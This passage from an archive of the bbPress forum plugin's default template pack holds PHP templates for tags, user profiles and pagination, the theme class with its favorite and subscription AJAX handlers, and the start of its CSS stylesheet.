						<label for="tag-existing-name"><?php esc_html_e( 'Existing tag:', 'bbpress' ); ?></label>
						<input type="text" id="tag-existing-name" name="tag-existing-name" size="22" maxlength="40" />
					</div>

					<div class="bbp-submit-wrapper">
						<button type="submit" class="button submit" onclick="return confirm('<?php echo esc_js( sprintf( esc_html__( 'Are you sure you want to merge the "%s" tag into the tag you specified?', 'bbpress' ), bbp_get_topic_tag_name() ) ); ?>');"><?php esc_attr_e( 'Merge', 'bbpress' ); ?></button>

						<input type="hidden" name="tag-id" value="<?php bbp_topic_tag_id(); ?>" />
						<input type="hidden" name="action" value="bbp-merge-topic-tag" />

						<?php wp_nonce_field( 'merge-tag_' . bbp_get_topic_tag_id() ); ?>
					</div>
				</form>

			</fieldset>

			<?php if ( current_user_can( 'delete_topic_tags' ) ) : ?>

				<fieldset class="bbp-form" id="delete-tag">

					<legend><?php esc_html_e( 'Delete', 'bbpress' ); ?></legend>

					<div class="bbp-template-notice info">
						<ul>
							<li><?php esc_html_e( 'This does not delete your topics. Only the tag itself is deleted.', 'bbpress' ); ?></li>
						</ul>
					</div>
					<div class="bbp-template-notice">
						<ul>
							<li><?php esc_html_e( 'Deleting a tag cannot be undone.', 'bbpress' ); ?></li>
							<li><?php esc_html_e( 'Any links to this tag will no longer function.', 'bbpress' ); ?></li>
						</ul>
					</div>

					<form id="delete_tag" name="delete_tag" method="post">

						<div class="bbp-submit-wrapper">
							<button type="submit" class="button submit" onclick="return confirm('<?php echo esc_js( sprintf( esc_html__( 'Are you sure you want to delete the "%s" tag? This is permanent and cannot be undone.', 'bbpress' ), bbp_get_topic_tag_name() ) ); ?>');"><?php esc_attr_e( 'Delete', 'bbpress' ); ?></button>

							<input type="hidden" name="tag-id" value="<?php bbp_topic_tag_id(); ?>" />
							<input type="hidden" name="action" value="bbp-delete-topic-tag" />

							<?php wp_nonce_field( 'delete-tag_' . bbp_get_topic_tag_id() ); ?>
						</div>
					</form>

				</fieldset>

			<?php endif; ?>

		</fieldset>
	</div>

<?php endif;
templates/default/bbpress/user-topics-created.php000066600000001604151771460310016233 0ustar00<?php

/**
 * User Topics Created
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_user_topics_created' ); ?>

<div id="bbp-user-topics-started" class="bbp-user-topics-started">

	<?php bbp_get_template_part( 'form', 'topic-search' ); ?>

	<h2 class="entry-title"><?php esc_html_e( 'Forum Topics Started', 'bbpress' ); ?></h2>
	<div class="bbp-user-section">

		<?php if ( bbp_get_user_topics_started() ) : ?>

			<?php bbp_get_template_part( 'pagination', 'topics' ); ?>

			<?php bbp_get_template_part( 'loop',       'topics' ); ?>

			<?php bbp_get_template_part( 'pagination', 'topics' ); ?>

		<?php else : ?>

			<?php bbp_get_template_part( 'feedback', 'no-topics' ); ?>

		<?php endif; ?>

	</div>
</div><!-- #bbp-user-topics-started -->

<?php do_action( 'bbp_template_after_user_topics_created' );
templates/default/bbpress/pagination-topics.php000066600000000747151771460310016010 0ustar00<?php

/**
 * Pagination for pages of topics (when viewing a forum)
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_pagination_loop' ); ?>

<div class="bbp-pagination">
	<div class="bbp-pagination-count"><?php bbp_forum_pagination_count(); ?></div>
	<div class="bbp-pagination-links"><?php bbp_forum_pagination_links(); ?></div>
</div>

<?php do_action( 'bbp_template_after_pagination_loop' );
templates/default/bbpress/content-archive-forum.php000066600000001215151771460310016566 0ustar00<?php

/**
 * Archive Forum Content Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php bbp_get_template_part( 'form', 'search' ); ?>

	<?php bbp_breadcrumb(); ?>

	<?php bbp_forum_subscription_link(); ?>

	<?php do_action( 'bbp_template_before_forums_index' ); ?>

	<?php if ( bbp_has_forums() ) : ?>

		<?php bbp_get_template_part( 'loop',     'forums'    ); ?>

	<?php else : ?>

		<?php bbp_get_template_part( 'feedback', 'no-forums' ); ?>

	<?php endif; ?>

	<?php do_action( 'bbp_template_after_forums_index' ); ?>

</div>
templates/default/bbpress/user-profile.php000066600000003513151771460310014766 0ustar00<?php

/**
 * User Profile
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_user_profile' ); ?>

<div id="bbp-user-profile" class="bbp-user-profile">
	<h2 class="entry-title">@<?php bbp_displayed_user_field( 'user_nicename' ); ?></h2>
	<div class="bbp-user-section">
		<h3><?php esc_html_e( 'Profile', 'bbpress' ); ?></h3>
		<p class="bbp-user-forum-role"><?php  printf( esc_html__( 'Registered: %s', 'bbpress' ), bbp_get_time_since( bbp_get_displayed_user_field( 'user_registered' ) ) ); ?></p>

		<?php if ( bbp_get_displayed_user_field( 'description' ) ) : ?>

			<p class="bbp-user-description"><?php echo bbp_rel_nofollow( bbp_get_displayed_user_field( 'description' ) ); ?></p>

		<?php endif; ?>

		<?php if ( bbp_get_displayed_user_field( 'user_url' ) ) : ?>

			<p class="bbp-user-website"><?php  printf( esc_html__( 'Website: %s', 'bbpress' ), bbp_rel_nofollow( bbp_make_clickable( bbp_get_displayed_user_field( 'user_url' ) ) ) ); ?></p>

		<?php endif; ?>

		<hr>
		<h3><?php esc_html_e( 'Forums', 'bbpress' ); ?></h3>

		<?php if ( bbp_get_user_last_posted() ) : ?>

			<p class="bbp-user-last-activity"><?php printf( esc_html__( 'Last Activity: %s',  'bbpress' ), bbp_get_time_since( bbp_get_user_last_posted(), false, true ) ); ?></p>

		<?php endif; ?>

		<p class="bbp-user-topic-count"><?php printf( esc_html__( 'Topics Started: %s',  'bbpress' ), bbp_get_user_topic_count() ); ?></p>
		<p class="bbp-user-reply-count"><?php printf( esc_html__( 'Replies Created: %s', 'bbpress' ), bbp_get_user_reply_count() ); ?></p>
		<p class="bbp-user-forum-role"><?php  printf( esc_html__( 'Forum Role: %s',      'bbpress' ), bbp_get_user_display_role() ); ?></p>
	</div>
</div><!-- #bbp-author-topics-started -->

<?php do_action( 'bbp_template_after_user_profile' );
templates/default/bbpress/feedback-no-forums.php000066600000000444151771460310016021 0ustar00<?php

/**
 * No Forums Feedback Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div class="bbp-template-notice">
	<ul>
		<li><?php esc_html_e( 'Oh, bother! No forums were found here.', 'bbpress' ); ?></li>
	</ul>
</div>
templates/default/bbpress-functions.php000066600000024410151771460310014357 0ustar00<?php

/**
 * Functions of the Default template-pack
 *
 * @package bbPress
 * @subpackage BBP_Theme_Compat
 * @since 2.1.0 bbPress (r3732)
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Theme Setup ***************************************************************/

if ( ! class_exists( 'BBP_Default' ) ) :

/**
 * Loads bbPress Default Theme functionality
 *
 * This is not a real theme by WordPress standards, and is instead used as the
 * fallback for any WordPress theme that does not have bbPress templates in it.
 *
 * To make your custom theme bbPress compatible and customize the templates, you
 * can copy these files into your theme without needing to merge anything
 * together; bbPress should safely handle the rest.
 *
 * See @link BBP_Theme_Compat() for more.
 *
 * @since 2.1.0 bbPress (r3732)
 *
 * @package bbPress
 * @subpackage BBP_Theme_Compat
 */
class BBP_Default extends BBP_Theme_Compat {

	/** Functions *************************************************************/

	/**
	 * The main bbPress (Default) Loader
	 *
	 * @since 2.1.0 bbPress (r3732)
	 */
	public function __construct( $properties = array() ) {

		parent::__construct( bbp_parse_args( $properties, array(
			'id'      => 'default',
			'name'    => 'bbPress Default',
			'version' => bbp_get_version(),
			'dir'     => trailingslashit( bbpress()->themes_dir . 'default' ),
			'url'     => trailingslashit( bbpress()->themes_url . 'default' ),
		), 'default_theme' ) );

		$this->setup_actions();
	}

	/**
	 * Setup the theme hooks
	 *
	 * @since 2.1.0 bbPress (r3732)
	 *
	 * @access private
	 */
	private function setup_actions() {

		/** Scripts ***********************************************************/

		add_action( 'bbp_enqueue_scripts',         array( $this, 'enqueue_styles'        ) ); // Enqueue theme CSS
		add_action( 'bbp_enqueue_scripts',         array( $this, 'enqueue_scripts'       ) ); // Enqueue theme JS
		add_filter( 'bbp_enqueue_scripts',         array( $this, 'localize_topic_script' ) ); // Enqueue theme script localization
		add_action( 'bbp_ajax_favorite',           array( $this, 'ajax_favorite'         ) ); // Handles the topic ajax favorite/unfavorite
		add_action( 'bbp_ajax_subscription',       array( $this, 'ajax_subscription'     ) ); // Handles the topic ajax subscribe/unsubscribe

		/** Template Wrappers *************************************************/

		add_action( 'bbp_before_main_content',  array( $this, 'before_main_content'   ) ); // Top wrapper HTML
		add_action( 'bbp_after_main_content',   array( $this, 'after_main_content'    ) ); // Bottom wrapper HTML

		/** Override **********************************************************/

		do_action_ref_array( 'bbp_theme_compat_actions', array( &$this ) );
	}

	/**
	 * Inserts HTML at the top of the main content area to be compatible with
	 * the Twenty Twelve theme.
	 *
	 * @since 2.1.0 bbPress (r3732)
	 */
	public function before_main_content() {
	?>

		<div id="bbp-container">
			<div id="bbp-content" role="main">

	<?php
	}

	/**
	 * Inserts HTML at the bottom of the main content area to be compatible with
	 * the Twenty Twelve theme.
	 *
	 * @since 2.1.0 bbPress (r3732)
	 */
	public function after_main_content() {
	?>

			</div><!-- #bbp-content -->
		</div><!-- #bbp-container -->

	<?php
	}

	/**
	 * Load the theme CSS
	 *
	 * @since 2.1.0 bbPress (r3732)
	 */
	public function enqueue_styles() {

		// Setup the default styling
		$defaults = array(
			'bbp-default' => array(
				'file'         => 'css/bbpress.css',
				'dependencies' => array()
			)
		);

		// Optionally support an RTL variant
		if ( is_rtl() ) {
			$defaults['bbp-default-rtl'] = array(
				'file'         => 'css/bbpress-rtl.css',
				'dependencies' => array()
			);
		}

		// Get and filter the bbp-default style
		$styles = apply_filters( 'bbp_default_styles', $defaults );

		// Enqueue the styles
		foreach ( $styles as $handle => $attributes ) {
			bbp_enqueue_style( $handle, $attributes['file'], $attributes['dependencies'], $this->version );
		}
	}

	/**
	 * Enqueue the required JavaScript files
	 *
	 * @since 2.1.0 bbPress (r3732)
	 */
	public function enqueue_scripts() {

		// Setup scripts array
		$scripts = array();

		// Editor scripts
		// @see https://bbpress.trac.wordpress.org/ticket/2930
		if ( bbp_use_wp_editor() && is_bbpress() ) {
			$scripts['bbpress-editor'] = array(
				'file'         => 'js/editor.js',
				'dependencies' => array( 'jquery' )
			);
		}

		// Forum-specific scripts
		if ( bbp_is_single_forum() ) {
			$scripts['bbpress-engagements'] = array(
				'file'         => 'js/engagements.js',
				'dependencies' => array( 'jquery' )
			);
		}

		// Topic-specific scripts
		if ( bbp_is_single_topic() || bbp_is_topic_edit() ) {

			// Engagements
			$scripts['bbpress-engagements'] = array(
				'file'         => 'js/engagements.js',
				'dependencies' => array( 'jquery' )
			);

			// Hierarchical replies
			if ( bbp_thread_replies() ) {
				$scripts['bbpress-reply'] = array(
					'file'         => 'js/reply.js',
					'dependencies' => array( 'jquery' )
				);
			}
		}

		// User Profile edit
		if ( bbp_is_single_user_edit() ) {
			wp_enqueue_script( 'user-profile' );
		}

		// Filter the scripts
		$scripts = apply_filters( 'bbp_default_scripts', $scripts );

		// Enqueue the scripts
		foreach ( $scripts as $handle => $attributes ) {
			bbp_enqueue_script( $handle, $attributes['file'], $attributes['dependencies'], $this->version, true );
		}
	}

	/**
	 * Load localizations for topic script
	 *
	 * These localizations require information that may not be loaded even by init.
	 *
	 * @since 2.1.0 bbPress (r3732)
	 */
	public function localize_topic_script() {

		// Single forum or topic
		if ( bbp_is_single_forum() || bbp_is_single_topic() ) {
			wp_localize_script( 'bbpress-engagements', 'bbpEngagementJS', array(
				'object_id'          => get_the_ID(),
				'bbp_ajaxurl'        => bbp_get_ajax_url(),
				'generic_ajax_error' => esc_html__( 'Something went wrong. Refresh your browser and try again.', 'bbpress' ),
			) );
		}
	}

	/**
	 * AJAX handler to add or remove a topic from a user's favorites
	 *
	 * @since 2.1.0 bbPress (r3732)
	 */
	public function ajax_favorite() {

		// Bail if favorites are not active
		if ( ! bbp_is_favorites_active() ) {
			bbp_ajax_response( false, esc_html__( 'Favorites are no longer active.', 'bbpress' ), 300 );
		}

		// Bail if user is not logged in
		if ( ! is_user_logged_in() ) {
			bbp_ajax_response( false, esc_html__( 'Please login to favorite.', 'bbpress' ), 301 );
		}

		// Get user and topic data
		$user_id = bbp_get_current_user_id();
		$id      = ! empty( $_POST['id']   ) ? intval( $_POST['id'] )         : 0;
		$type    = ! empty( $_POST['type'] ) ? sanitize_key( $_POST['type'] ) : 'post';

		// Bail if user cannot add favorites for this user
		if ( ! current_user_can( 'edit_user', $user_id ) ) {
			bbp_ajax_response( false, esc_html__( 'You do not have permission to do this.', 'bbpress' ), 302 );
		}

		// Get the object
		if ( 'post' === $type ) {
			$object = get_post( $id );
		}

		// Bail if topic cannot be found
		if ( empty( $object ) ) {
			bbp_ajax_response( false, esc_html__( 'Favorite failed.', 'bbpress' ), 303 );
		}

		// Bail if user did not take this action
		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'toggle-favorite_' . $object->ID ) ) {
			bbp_ajax_response( false, esc_html__( 'Are you sure you meant to do that?', 'bbpress' ), 304 );
		}

		// Take action
		$status = bbp_is_user_favorite( $user_id, $object->ID )
			? bbp_remove_user_favorite( $user_id, $object->ID )
			:    bbp_add_user_favorite( $user_id, $object->ID );

		// Bail if action failed
		if ( empty( $status ) ) {
			bbp_ajax_response( false, esc_html__( 'The request was unsuccessful. Please try again.', 'bbpress' ), 305 );
		}

		// Put subscription attributes in convenient array
		$attrs = array(
			'object_id'   => $object->ID,
			'object_type' => $type,
			'user_id'     => $user_id
		);

		// Action succeeded
		bbp_ajax_response( true, bbp_get_user_favorites_link( $attrs, $user_id, false ), 200 );
	}

	/**
	 * AJAX handler to Subscribe/Unsubscribe a user from a topic
	 *
	 * @since 2.1.0 bbPress (r3732)
	 */
	public function ajax_subscription() {

		// Bail if subscriptions are not active
		if ( ! bbp_is_subscriptions_active() ) {
			bbp_ajax_response( false, esc_html__( 'Subscriptions are no longer active.', 'bbpress' ), 300 );
		}

		// Bail if user is not logged in
		if ( ! is_user_logged_in() ) {
			bbp_ajax_response( false, esc_html__( 'Please login to subscribe.', 'bbpress' ), 301 );
		}

		// Get user and topic data
		$user_id = bbp_get_current_user_id();
		$id      = ! empty( $_POST['id']   ) ? intval( $_POST['id'] )         : 0;
		$type    = ! empty( $_POST['type'] ) ? sanitize_key( $_POST['type'] ) : 'post';

		// Bail if user cannot add favorites for this user
		if ( ! current_user_can( 'edit_user', $user_id ) ) {
			bbp_ajax_response( false, esc_html__( 'You do not have permission to do this.', 'bbpress' ), 302 );
		}

		// Get the object
		if ( 'post' === $type ) {
			$object = get_post( $id );
		}

		// Bail if topic cannot be found
		if ( empty( $object ) ) {
			bbp_ajax_response( false, esc_html__( 'Subscription failed.', 'bbpress' ), 303 );
		}

		// Bail if user did not take this action
		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'toggle-subscription_' . $object->ID ) ) {
			bbp_ajax_response( false, esc_html__( 'Are you sure you meant to do that?', 'bbpress' ), 304 );
		}

		// Take action
		$status = bbp_is_user_subscribed( $user_id, $object->ID )
			? bbp_remove_user_subscription( $user_id, $object->ID )
			:    bbp_add_user_subscription( $user_id, $object->ID );

		// Bail if action failed
		if ( empty( $status ) ) {
			bbp_ajax_response( false, esc_html__( 'The request was unsuccessful. Please try again.', 'bbpress' ), 305 );
		}

		// Put subscription attributes in convenient array
		$attrs = array(
			'object_id'   => $object->ID,
			'object_type' => $type,
			'user_id'     => $user_id
		);

		// Add separator to topic if favorites is active
		if ( ( 'post' === $type ) && ( bbp_get_topic_post_type() === get_post_type( $object ) ) && bbp_is_favorites_active() ) {
			$attrs['before'] = '&nbsp;|&nbsp;';
		}

		// Action succeeded
		bbp_ajax_response( true, bbp_get_user_subscribe_link( $attrs, $user_id, false ), 200 );
	}
}
new BBP_Default();
endif;
templates/default/css/bbpress.css000066600000107270151771460310013150 0ustar00/**
 * bbPress specific CSS
 *
 * @package bbPress
 * @subpackage Theme
 */

/* =bbPress Style
-------------------------------------------------------------- */

.hidden,
.js .hide-if-js {
	display: none;
}

/* Hide visually but not from screen readers */
.screen-reader-text,
.screen-reader-text span,
.ui-helper-hidden-accessible {
	position: absolute;
	margin: -1px;
	padding: 0;
	height: 1px;
	width: 1px;
	overflow: hidden;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	border: 0;
	word-wrap: normal !important; /* many screen reader and browser combinations announce broken words as they would appear visually */
}

#bbpress-forums {
	background: transparent;
	clear: both;
	margin-bottom: 20px;
	overflow: hidden;
	font-size: 12px;
	line-height: 18px;
}

#bbpress-forums a,
#bbpress-forums a:hover {
	box-shadow: none;
	border: none;
	transition: none;
}

/* Original UL styling */
#bbpress-forums ul,
/* Use ID & class together for increased target strength */
#bbpress-forums.bbpress-wrapper ul {
	background: none;
	list-style: none;
	margin: 0;
	padding: 0;
}

#bbpress-forums hr {
	margin: 0 0 24px;
}

#bbpress-forums div.even,
#bbpress-forums ul.even {
	background-color: #fff;
}

#bbpress-forums div.odd,
#bbpress-forums ul.odd {
	background-color: #fbfbfb;
}

body.reply-edit .reply {
	float: none;
}

#bbpress-forums div.reply {
	height: auto;
	width: 100%;
	box-sizing: border-box;
}

#bbpress-forums div.bbp-forum-header,
#bbpress-forums div.bbp-topic-header,
#bbpress-forums div.bbp-reply-header {
	background-color: #f4f4f4;
}

#bbpress-forums .status-trash.even,
#bbpress-forums .status-spam.even {
	background-color: #fee;
}

#bbpress-forums .status-trash.odd,
#bbpress-forums .status-spam.odd {
	background-color: #fdd;
}

#bbpress-forums .status-pending.even,
#bbpress-forums .status-pending.odd,
#bbpress-forums ul.status-pending a {
	background-color: #fef7f1;
}

#bbpress-forums ul.status-closed,
#bbpress-forums ul.status-closed a {
	color: #ccc;
}

#bbpress-forums ul.bbp-threaded-replies {
	margin-left: 50px;
}

#bbpress-forums li {
	background: none;
	margin: 0;
	list-style: none;
}

#bbpress-forums ul.bbp-lead-topic,
#bbpress-forums ul.bbp-topics,
#bbpress-forums ul.bbp-forums,
#bbpress-forums ul.bbp-replies,
#bbpress-forums ul.bbp-search-results {
	font-size: 12px;
	overflow: hidden;
	border: 1px solid #eee;
	margin-bottom: 20px;
	clear: both;
}

#bbpress-forums li.bbp-header,
#bbpress-forums li.bbp-body,
#bbpress-forums li.bbp-footer {
	clear: both;
}

#bbpress-forums li.bbp-header,
#bbpress-forums li.bbp-footer {
	background: #f3f3f3;
	border-top: 1px solid #eee;
	font-weight: 700;
	padding: 8px;
	text-align: center;
}

#bbpress-forums li.bbp-header {
	background: #eaeaea;
}

#bbpress-forums li.bbp-header ul {
	overflow: hidden;
}

#bbpress-forums .bbp-forums-list {
	margin: 0 0 0 7px;
	padding-left: 12px;
	border-left: 1px solid #ddd;
}

#bbpress-forums .bbp-forums-list .bbp-forum {
	display: inline;
	font-size: 11px;
}

#bbpress-forums .bbp-forums-list .bbp-forum.css-sep:not(:last-child)::after {
	content: ", ";
}

#bbpress-forums li.bbp-footer p {
	margin: 0;
	line-height: 1;
}

li.bbp-forum-info,
li.bbp-topic-title {
	float: left;
	text-align: left;
	width: 55%;
}

li.bbp-forum-topic-count,
li.bbp-topic-voice-count,
li.bbp-forum-reply-count,
li.bbp-topic-reply-count {
	float: left;
	text-align: center;
	width: 10%;
}

li.bbp-forum-freshness,
li.bbp-topic-freshness {
	text-align: center;
	float: left;
	width: 22%;
}

#bbpress-forums li.bbp-body ul.forum,
#bbpress-forums li.bbp-body ul.topic {
	border-top: 1px solid #eee;
	overflow: hidden;
	padding: 8px;
}

#bbpress-forums #subscription-toggle,
#bbpress-forums #favorite-toggle {
	float: right;
}

#bbpress-forums div.bbp-forum-title h3,
#bbpress-forums div.bbp-topic-title h3,
#bbpress-forums div.bbp-reply-title h3 {
	background: none;
	border: none;
	font-size: 16px;
	line-height: 1;
	margin: 8px 0;
	padding: 0;
	text-transform: none;
}

#bbpress-forums div.bbp-forum-author,
#bbpress-forums div.bbp-topic-author,
#bbpress-forums div.bbp-reply-author {
	float: left;
	text-align: center;
	width: 115px;
}

#bbpress-forums div.bbp-forum-author img.avatar,
#bbpress-forums div.bbp-topic-author img.avatar,
#bbpress-forums div.bbp-reply-author img.avatar {
	border: none;
	max-width: 80px;
	padding: 0;
	margin: 12px auto 0;
	float: none;
}

#bbpress-forums div.bbp-forum-author .bbp-author-name,
#bbpress-forums div.bbp-topic-author .bbp-author-name,
#bbpress-forums div.bbp-reply-author .bbp-author-name {
	margin: 0 12px;
	word-wrap: break-word;
	display: inline-block;
}

#bbpress-forums div.bbp-topic-author .bbp-author-name,
#bbpress-forums div.bbp-reply-author .bbp-author-name {
	clear: left;
	display: block;
}

#bbpress-forums div.bbp-forum-author .bbp-author-role,
#bbpress-forums div.bbp-topic-author .bbp-author-role,
#bbpress-forums div.bbp-reply-author .bbp-author-role {
	font-size: 11px;
	font-style: italic;
}

#bbpress-forums li.bbp-header .bbp-search-author,
#bbpress-forums li.bbp-footer .bbp-search-author,
#bbpress-forums li.bbp-header .bbp-forum-author,
#bbpress-forums li.bbp-footer .bbp-forum-author,
#bbpress-forums li.bbp-header .bbp-topic-author,
#bbpress-forums li.bbp-footer .bbp-topic-author,
#bbpress-forums li.bbp-header .bbp-reply-author,
#bbpress-forums li.bbp-footer .bbp-reply-author {
	float: left;
	margin: 0;
	padding: 0;
	width: 120px;
}

#bbpress-forums li.bbp-header .bbp-search-content,
#bbpress-forums li.bbp-footer .bbp-search-content,
#bbpress-forums li.bbp-header .bbp-forum-content,
#bbpress-forums li.bbp-footer .bbp-forum-content,
#bbpress-forums li.bbp-header .bbp-topic-content,
#bbpress-forums li.bbp-footer .bbp-topic-content,
#bbpress-forums li.bbp-header .bbp-reply-content,
#bbpress-forums li.bbp-footer .bbp-reply-content {
	margin-left: 140px;
	padding: 0;
	text-align: left;
}

div.bbp-forum-header,
div.bbp-topic-header,
div.bbp-reply-header,
li.bbp-body div.hentry {
	margin: 0;
	overflow: hidden;
	padding: 8px;
}

div.bbp-forum-header,
div.bbp-topic-header,
div.bbp-reply-header {
	border-top: 1px solid #ddd;
	clear: both;
}

span.bbp-author-ip {
	font-size: 11px;
	font-weight: 700;
	word-wrap: break-word;
	color: #747474;
}

/* =Topic and reply content
-------------------------------------------------------------- */

#bbpress-forums div.bbp-forum-content,
#bbpress-forums div.bbp-topic-content,
#bbpress-forums div.bbp-reply-content {
	margin-left: 130px;
	padding: 12px 12px 12px 0;
	text-align: left;
	position: relative;
}

/* Clearing hack */
#bbpress-forums div.bbp-forum-content::after,
#bbpress-forums div.bbp-topic-content::after,
#bbpress-forums div.bbp-reply-content::after {
	clear: both;
	content: ".";
	display: block;
	float: none;
	height: 0;
	font-size: 0;
	visibility: hidden;
}

#bbpress-forums div.bbp-topic-content a,
#bbpress-forums div.bbp-reply-content a {
	background: none;
	border: none;
	display: inline;
	font-weight: 400;
	margin: 0;
	padding: 0;
	text-decoration: underline;
}

#bbpress-forums div.bbp-topic-content a.bbp-user-mention,
#bbpress-forums div.bbp-reply-content a.bbp-user-mention {
	background: none;
	border: none;
	text-decoration: none;
	text-shadow: none;
	display: inline;
	font-weight: 600;
	margin: 0;
	padding: 0;
}

#bbpress-forums div.bbp-topic-content h1,
#bbpress-forums div.bbp-reply-content h1,
#bbpress-forums div.bbp-topic-content h2,
#bbpress-forums div.bbp-reply-content h2,
#bbpress-forums div.bbp-topic-content h3,
#bbpress-forums div.bbp-reply-content h3,
#bbpress-forums div.bbp-topic-content h4,
#bbpress-forums div.bbp-reply-content h4,
#bbpress-forums div.bbp-topic-content h5,
#bbpress-forums div.bbp-reply-content h5,
#bbpress-forums div.bbp-topic-content h6,
#bbpress-forums div.bbp-reply-content h6 {
	clear: none;
	line-height: 1;
	margin: 24px 0;
	padding: 0;
}

#bbpress-forums div.bbp-topic-content img,
#bbpress-forums div.bbp-reply-content img {
	max-width: 100%;
	height: auto;
}

#bbpress-forums div.bbp-topic-content ul,
#bbpress-forums div.bbp-reply-content ul,
#bbpress-forums div.bbp-topic-content ol,
#bbpress-forums div.bbp-reply-content ol {
	margin: 0 15px 15px;
	padding: 0;
}

#bbpress-forums div.bbp-topic-content ul li,
#bbpress-forums div.bbp-reply-content ul li {
	list-style-type: disc;
}

#bbpress-forums div.bbp-topic-content ol li,
#bbpress-forums div.bbp-reply-content ol li {
	list-style-type: decimal;
}

#bbpress-forums div.bbp-topic-content ol li li,
#bbpress-forums div.bbp-reply-content ol li li {
	list-style-type: lower-alpha;
}

#bbpress-forums div.bbp-topic-content ol li li li,
#bbpress-forums div.bbp-reply-content ol li li li {
	list-style-type: upper-roman;
}

#bbpress-forums div.bbp-topic-content code,
#bbpress-forums div.bbp-reply-content code,
#bbpress-forums div.bbp-topic-content pre,
#bbpress-forums div.bbp-reply-content pre {
	font-family: Inconsolata, Consolas, Monaco, "Lucida Console", monospace;
	display: inline-block;
	background-color: #f9f9f9;
	border: 1px solid #ddd;
	padding: 0 5px;
	max-width: 95%;
	vertical-align: middle;
	margin-top: -3px;
	overflow-x: auto;
}

#bbpress-forums div.bbp-topic-content pre,
#bbpress-forums div.bbp-reply-content pre {
	display: block;
	line-height: 18px;
	margin: 0 0 24px;
	padding: 5px 10px;
	white-space: pre;
	overflow: auto;
}

#bbpress-forums div.bbp-topic-content pre code,
#bbpress-forums div.bbp-reply-content pre code {
	display: block;
	border: none;
	padding: 0;
	margin: 0;
	background-color: transparent;
	overflow-wrap: normal;
	overflow: auto;
	max-width: 100%;
}

#bbpress-forums div.bbp-topic-content iframe.wp-embedded-content,
#bbpress-forums div.bbp-reply-content iframe.wp-embedded-content {
	position: relative;
}

/* =Reply to
-------------------------------------------------------------- */

#bbpress-forums div.bbp-reply-to {
	margin-left: 130px;
	padding: 12px 12px 12px 0;
	text-align: right;
}

#bbpress-forums div#bbp-cancel-reply-to {
	text-align: right;
}

/* =Breadcrumb and Tags
-------------------------------------------------------------- */

div.bbp-breadcrumb {
	float: left;
}

div.bbp-breadcrumb,
div.bbp-topic-tags {
	font-size: 12px;
}

#bbpress-forums div.bbp-breadcrumb p,
#bbpress-forums div.bbp-topic-tags p {
	margin: 0 0 10px 0;
}

#bbpress-forums div.bbp-topic-tags {
	float: right;
	clear: both;
}

#bbp-topic-hot-tags {
	clear: both;
}

/* =Search
-------------------------------------------------------------- */

#bbpress-forums #bbp-search-form {
	clear: left;
}

#bbpress-forums #bbp-search-form .hidden {
	height: 0;
	width: 0;
	overflow: hidden;
	position: absolute;
	background: none;
	left: -999em;
}

#bbpress-forums #bbp-search-form #bbp_search {
	display: inline-block;
	width: auto;
}

#bbpress-forums div.bbp-search-form {
	float: right;
}

/* =Admin Links
-------------------------------------------------------------- */

span.bbp-admin-links {
	float: right;
	color: #ddd;
}

span.bbp-admin-links a {
	color: #707070;
	font-weight: 400;
	font-size: 10px;
	text-transform: uppercase;
	text-decoration: none;
}

fieldset span.bbp-admin-links {
	float: left;
}

tr td span.bbp-admin-links a:hover {
	color: #ff4b33;
}

td.bbp-topic-admin-links,
td.bbp-topic-counts {
	width: 50%;
}

.bbp-forum-header a.bbp-forum-permalink,
.bbp-topic-header a.bbp-topic-permalink,
.bbp-reply-header a.bbp-reply-permalink {
	float: right;
	margin-left: 10px;
	color: #707070;
}

/* =Toggles
-------------------------------------------------------------- */

.bbp-row-actions #favorite-toggle a {
	text-decoration: none;
	padding: 0 3px 1px;
	color: #7c7;
	border: 1px solid #aca;
	background-color: #dfd;
	font-weight: 700;
	font-size: 12px;
}

.bbp-row-actions #favorite-toggle a:hover {
	color: #5a5;
	border-color: #7c7;
	background-color: #beb;
}

.bbp-row-actions #favorite-toggle span.is-favorite a {
	color: #faa;
	border: 1px solid #faa;
	background-color: #fee;
}

.bbp-row-actions #favorite-toggle span.is-favorite a:hover {
	color: #c88;
	border-color: #c88;
	background-color: #fdd;
}

.bbp-row-actions #subscription-toggle a {
	text-decoration: none;
	padding: 0 3px 1px;
	color: #7c7;
	border: 1px solid #aca;
	background-color: #dfd;
	font-weight: 700;
	font-size: 12px;
}

.bbp-row-actions #subscription-toggle a:hover {
	color: #5a5;
	border-color: #7c7;
	background-color: #beb;
}

.bbp-row-actions #subscription-toggle span.is-subscribed a {
	color: #faa;
	border: 1px solid #faa;
	background-color: #fee;
}

.bbp-row-actions #subscription-toggle span.is-subscribed a:hover {
	color: #c88;
	border-color: #c88;
	background-color: #fdd;
}

#bbpress-forums .bbp-forum-info .bbp-forum-content,
#bbpress-forums p.bbp-topic-meta {
	font-size: 11px;
	margin: 5px 0;
	padding: 0;
	word-wrap: break-word;
}

#bbpress-forums p.bbp-topic-meta span {
	white-space: nowrap;
}

/* =Pagination
-------------------------------------------------------------- */

.bbp-pagination-count {
	float: left;
	border: 1px solid transparent;
}

.bbp-pagination-links {
	float: right;
	list-style: none;
	display: inline;
}

.bbp-pagination {
	float: left;
	width: 100%;
	margin-bottom: 15px;
}

#bbpress-forums .bbp-pagination-links a,
#bbpress-forums .bbp-pagination-links span.current {
	display: block;
	float: left;
	font-size: 12px;
	line-height: 18px;
	padding: 0 5px;
	margin-left: 5px;
	border: 1px solid #efefef;
	border-radius: 0;
	background: transparent;
	color: inherit;
	text-decoration: none;
}

#bbpress-forums .bbp-pagination-links span.dots {
	display: block;
	float: left;
	padding: 1px 4px;
	margin-left: 5px;
